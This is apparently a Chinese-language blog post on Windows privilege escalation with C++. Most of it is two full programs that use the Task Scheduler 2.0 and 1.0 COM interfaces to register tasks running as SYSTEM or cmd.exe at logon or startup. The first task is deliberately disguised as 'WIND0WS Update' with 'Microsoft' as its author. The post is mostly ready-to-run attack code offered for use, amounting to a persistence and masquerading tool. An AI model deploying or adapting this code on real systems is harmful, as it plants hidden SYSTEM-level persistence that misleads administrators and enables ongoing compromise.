Life has its own fate, and meeting may not be accidental.

0%

C++提权的几种方式(win)(一)

之前在学校的时候打acm用的C++,不过没学过底层的东西。没想到竟然有一天,会拿着C++看算法以外的东西。提到权的那一刻是真爽啊!下面只给了Task Scheduler 2.0的图,其他的图忘记截了= =

常见问题

Q:Task schduler是什么?

A:Task schduler:任务调度程序,可以理解他的作用跟 Linux 下的 Crontab 作用类似,但是要比 Linux Crontab 强大很多。不单单可以执行定时任务,还可以根据某些特定的条件来启动其他应用,发送电子邮件等任务。

Q:为什么提的权限要是SYSTEM账户?

A:SYSTEM 用户和使用普通管理员用户对于文件有同样的特权。系统帐户可以由 Windows 下执行的服务和操作系统使用。有很多服务和 Windows 进程须要可以在内部登录(比如在 Windows 安装过程中)而系统帐户就是为该目的设计的;它是内部帐户,不显示在用户管理器,也无法加入到不论什么组,而且不能分配用户权限。可是对于一些服务和进程,我们须要使用系统账户而非管理员账户,由于这些服务和进程要和系统交互,须要内部登录。

在运行计划任务的时候,假设我们使用NT AUTHORITY\SYSTEM 账户,是不须要输入密码的。如果使用了其他管理员账户,我们必须输入密码。一般我们使用系统账户,主要是为了防止管理员改变密码后任务无法运行。


关于计划任务的设定,可以参考这篇文章任务的安全上下文,例如 Administrators 组或 SYSTEM 帐户的成员可以读取、更新、删除和运行任何任务。 “用户”组、LocalService 帐户和 NetworkService 帐户的成员只能读取、更新、删除和运行已创建的任务。


C++ Task Scheduler 2.0提权

注意:客户端需要 Windows Vista 或更高版本。服务器需要 Windows Server 2008 或更高版本。必须要管理员权限才可以运行添加计划任务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <comdef.h>
#include <wincred.h>
#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")
#pragma comment(lib, "credui.lib")
#pragma warning(disable : 4996)
using namespace std;
int __cdecl wmain()
{

// 初始化COM
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (FAILED(hr))
{

printf("\nCoInitializeEx failed: %x", hr);
return 1;
}
// 注册安全性并设置该过程的默认安全性值。
hr = CoInitializeSecurity(
NULL,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
0,
NULL);
LPCWSTR wszTaskName = L"WIND0WS Update"; //设置计划任务名称
//创建ITaskService的实例
ITaskService* pService = NULL;
hr = CoCreateInstance(CLSID_TaskScheduler,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITaskService,
(void**)&pService);
// 链接到任务实例
hr = pService->Connect(_variant_t(), _variant_t(),
_variant_t(), _variant_t());
// 获取指向根任务文件夹的指针。
ITaskFolder* pRootFolder = NULL;
hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
// 如果存在相同的任务删除该任务
pRootFolder->DeleteTask(_bstr_t(wszTaskName), 0);
// 创建任务生成器对象以创建任务。
ITaskDefinition* pTask = NULL;
hr = pService->NewTask(0, &pTask);
pService->Release(); //清理Com
// 获取注册信息
IRegistrationInfo* pRegInfo = NULL;
hr = pTask->get_RegistrationInfo(&pRegInfo);
hr = pRegInfo->put_Author((_bstr_t)"Microsoft"); // 修改你想要改的计划任务创建者
// 创建计划任务设置
ITaskSettings* pSettings = NULL;
hr = pTask->get_Settings(&pSettings);
// 设置任务的设置值
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
// ------------------------------------------------------
// 获取取触发器集合以插入登录触发器。
ITriggerCollection* pTriggerCollection = NULL;
hr = pTask->get_Triggers(&pTriggerCollection);
// 添加触发器
ITrigger* pTrigger = NULL;
hr = pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger); //TASK_TRIGGER_EVENT 事件触发
pTriggerCollection->Release();
ILogonTrigger* pLogonTrigger = NULL;
hr = pTrigger->QueryInterface(
IID_ILogonTrigger, (void**)&pLogonTrigger);
pTrigger->Release();
hr = pLogonTrigger->put_Id(_bstr_t(L"Trigger1"));
/*
//设置指定触发时间 如果不设置 代表任何时间都可以触发
hr = pLogonTrigger->put_StartBoundary( _bstr_t(L"2020-10-30T08:00:00") );
hr = pLogonTrigger->put_EndBoundary( _bstr_t(L"2020-10-30T08:00:00") );
*/
/*
// 定义某个用户 登录时触发 注释掉代表所有用户登录后触发
hr = pLogonTrigger->put_UserId( _bstr_t( L"administrator" ) ); //某用户登录后触发 设置某用户
pLogonTrigger->Release();
*/
IActionCollection* pActionCollection = NULL;
hr = pTask->get_Actions(&pActionCollection);
IAction* pAction = NULL;
hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction); //触发程序执行:TASK_ACTION_EXEC
IExecAction* pExecAction = NULL;
hr = pAction->QueryInterface(
IID_IExecAction, (void**)&pExecAction);
string cmdName;
cout << "输入文件位置:\n";
cin >> cmdName;
hr = pExecAction->put_Path(_bstr_t(cmdName.c_str()));
pExecAction->Release();
if (FAILED(hr))
{

printf(" 无法设置程序执行路径: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IRegisteredTask* pRegisteredTask = NULL;
hr = pRootFolder->RegisterTaskDefinition(
_bstr_t(wszTaskName),
pTask,
TASK_CREATE_OR_UPDATE, // 创建并覆盖现有的计划任务:TASK_CREATE_OR_UPDATE
//仅更新:TASK_UPDATE
//仅创建:TASK_CREATE
//禁用:TASK_DISABLE
_variant_t(L"system"), // 启动身份 system 或者administrator
_variant_t(),
TASK_LOGON_GROUP, //登录技术 组激活:TASK_LOGON_GROUP 用户登录后激活:TASK_LOGON_INTERACTIVE_TOKEN
_variant_t(L""),
&pRegisteredTask);
if (FAILED(hr))
{

printf("\n无法保存计划任务 : %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
printf("Success!成功注册计划任务 ");
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;
}

运行后,把绝对路径输入后,成功提权至system,非常的爽

![cs](cs.png %}

C++ Task Scheduler 1.0写入提权(利用COM组件的 API 编程创建计划任务)

注意:Task Scheduler 1.0是在C:\Windows\Tasks目录下生成job文件,如果job文件存在重复会报错,注意及时删除。客户端需要 Windows Vista 或 Windows XP。服务器需要 Windows Server 2008 或 Windows Server 2003。

使用 Task Scheduler 1.0 的几个注意点:

  • 创建计划任务需要管理员权限。
  • 必须确保 Task Scheduler service 正在运行。
  • 通过 COM 组件创建的计划任务,会在C:\windows\Tasks目录下创建一个同名的 JOB 文件。
  • 同时需要为计划任务指定一个唯一的名称,如果指定的名称已被使用,则会导致任务创建失败。
  • 该计划任务无法通过 schtasks 命令查询。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
#include <windows.h>
#include <initguid.h>
#include <ole2.h>
#include <mstask.h>
#include <msterr.h>
#include <objidl.h>
#include <wchar.h>
#include <stdio.h>
#pragma warning(disable : 4996)

void WGetUserName(WCHAR* username, int len)
{
// 获取并显示计算机的名称。
char szName[255];
ULONG nLen = sizeof(szName);
::GetUserNameA(szName, &nLen);

for (unsigned int i = 0; i < strlen(szName); i++)
{
username[i] = szName[i];
}
username[strlen(szName)] = '\0';
printf("%s", szName);
}



int main(int argc, char** argv)
{
HRESULT hr = S_OK;
ITaskScheduler* pITS;

//调用CoInitialize初始化COM库,然后
//调用CoCreateInstance获取Task Scheduler对象。
hr = CoInitialize(NULL);
if (SUCCEEDED(hr))
{
hr = CoCreateInstance(CLSID_CTaskScheduler,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITaskScheduler,
(void**)&pITS);
if (FAILED(hr))
{
CoUninitialize();
return 1;
}
}
else
{
return 1;
}

/// 获取计算机的用户名
WCHAR username[512];
memset(username, 0, sizeof(username));
WGetUserName(username, sizeof(username));

// 调用ITaskScheduler::NewWorkItem创建新任务。
WCHAR pwszTaskName[512] = L"Test_Task";
ITask* pITask;

wcscat(pwszTaskName, username);
hr = pITS->NewWorkItem(pwszTaskName, // 任务名称
CLSID_CTask, // 类标识符
IID_ITask, // 接口标识符
(IUnknown**)&pITask); // 解决的任务
// 接口


pITS->Release(); // 释放对象
if (FAILED(hr))
{
CoUninitialize();
fprintf(stderr, "Failed calling NewWorkItem, error = 0x%x\n", hr);
return 1;
}

//调用ITask::SetApplicationName指定应用程序的名称
//测试任务。
LPCWSTR pwszApplicationName = L"C:\\Windows\\System32\\cmd.exe ";
hr = pITask->SetApplicationName(pwszApplicationName);

if (FAILED(hr))
{
wprintf(L"Failed calling ITask::SetApplicationName: ");
wprintf(L"error = 0x%x\n", hr);
pITask->Release();
CoUninitialize();
return 1;
}

// set flag仅在登录时设置
hr = pITask->SetFlags(TASK_FLAG_RUN_ONLY_IF_LOGGED_ON);
if (FAILED(hr))
{
wprintf(L"Failed calling ITask::EditWorkItem, ");
wprintf(L"error = 0x%x\n", hr);
CoUninitialize();
return 1;
}

// 仅为登录设置用户名
hr = pITask->SetAccountInformation(L"Administrator", NULL); //L"NT AUTHORITY\\SYSTEM";
if (FAILED(hr))
{
wprintf(L"Failed calling ITask::SetApplicationName: ");
wprintf(L"error = 0x%x\n", hr);
pITask->Release();
CoUninitialize();
return 1;
}

// 调用ITask::CreateTrigger来创建一个新的触发器。
ITaskTrigger* pITaskTrigger;
WORD piNewTrigger;
hr = pITask->CreateTrigger(&piNewTrigger,
&pITaskTrigger);
if (FAILED(hr))
{
wprintf(L"Failed calling ITask::CreatTrigger: ");
wprintf(L"error = 0x%x\n", hr);
pITask->Release();
CoUninitialize();
return 1;
}

//定义TASK_TRIGGER结构。注意,wBeginDay,
//wBeginMonth和wBeginYear必须设置为一个有效的
//分别为日、月、年。
TASK_TRIGGER pTrigger;
ZeroMemory(&pTrigger, sizeof(TASK_TRIGGER));

// 添加代码设置触发器结构?
pTrigger.cbTriggerSize = sizeof(TASK_TRIGGER);
pTrigger.wBeginDay = 20; // 必需的
pTrigger.wBeginMonth = 1; // 必需的
pTrigger.wBeginYear = 1997; // 必需的
pTrigger.wStartHour = 10;
pTrigger.wStartMinute = 10;
pTrigger.MinutesDuration = 600;
pTrigger.TriggerType = TASK_EVENT_TRIGGER_AT_SYSTEMSTART; //TASK_EVENT_TRIGGER_AT_SYSTEMSTART
pTrigger.Type.Daily.DaysInterval = 1;

// 调用ITaskTrigger::SetTrigger来设置触发条件。
hr = pITaskTrigger->SetTrigger(&pTrigger);
if (FAILED(hr))
{
wprintf(L"Failed calling ITaskTrigger::SetTrigger: ");
wprintf(L"error = 0x%x\n", hr);
pITask->Release();
pITaskTrigger->Release();
CoUninitialize();
return 1;
}

// 调用IPersistFile::Save将触发器保存到磁盘。
IPersistFile* pIPersistFile;
hr = pITask->QueryInterface(IID_IPersistFile,
(void**)&pIPersistFile);
hr = pIPersistFile->Save(NULL,
TRUE);

if (FAILED(hr))
{
wprintf(L"Failed calling IPersistFile::Save: ");
wprintf(L"error = 0x%x\n", hr);
pITask->Release();
pITaskTrigger->Release();
pIPersistFile->Release();
CoUninitialize();
return 1;
}

wprintf(L"The trigger was created and IPersistFile::Save was \n");
wprintf(L"called to save the new trigger to disk.\n");

// 释放资源。
pITask->Release();
pITaskTrigger->Release();
pIPersistFile->Release();
CoUninitialize();
printf("Created task.\n");
return 0;
}

运行后生成job文件

![生成的job文件](jobjpg %}

参考文章

关于计划任务的探究

Task Scheduler 2.0的相关操作

任务计划程序 2.0 接口

计划任务中使用NT AUTHORITY\SYSTEM用户和普通管理员用户有什么差别

Tasks

VC++创建计划任务的若干方式